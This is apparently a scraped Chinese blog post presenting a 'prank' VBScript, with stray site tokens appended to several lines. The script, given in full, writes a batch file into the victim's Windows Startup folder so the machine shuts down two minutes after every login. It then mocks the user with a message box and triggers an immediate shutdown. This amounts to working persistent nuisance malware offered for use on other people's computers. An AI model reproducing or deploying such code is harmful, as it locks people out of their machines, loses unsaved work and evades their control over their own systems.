VBS腳本惡做劇:關機+重啓後自動關機

本腳本完成下面的內容:spa

生成一個用於定時關機的BAT腳本文件,放置到Windows啓動文件夾中code

(注意這個腳本在運行時可能會被一些殺毒軟件、電腦管家強制停止)ip

文件TR!CK.vbs 代碼以下it

'BAT文件地址,保存到Windows啓動文件夾
Address = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
Address = Address & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
Address = Address & "tr!ck.bat"

'BAT文件執行命令
'Command = "shutdown -r -t 120"    '120秒後重啓
Command = "shutdown -s -t 120"    '120秒後關機
'Command = "shutdown -s -t now"    '當即關機(慎用)


'保存新生成的BAT文件
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.OpenTextFile(Address, 2, -1).Write "c:" & VbCrLf & Command

MsgBox "你是一個大笨蛋"

'調用下剛生成的腳本
CreateObject("WScript.Shell").Run Command

ENDclass

相關文章
相關標籤/搜索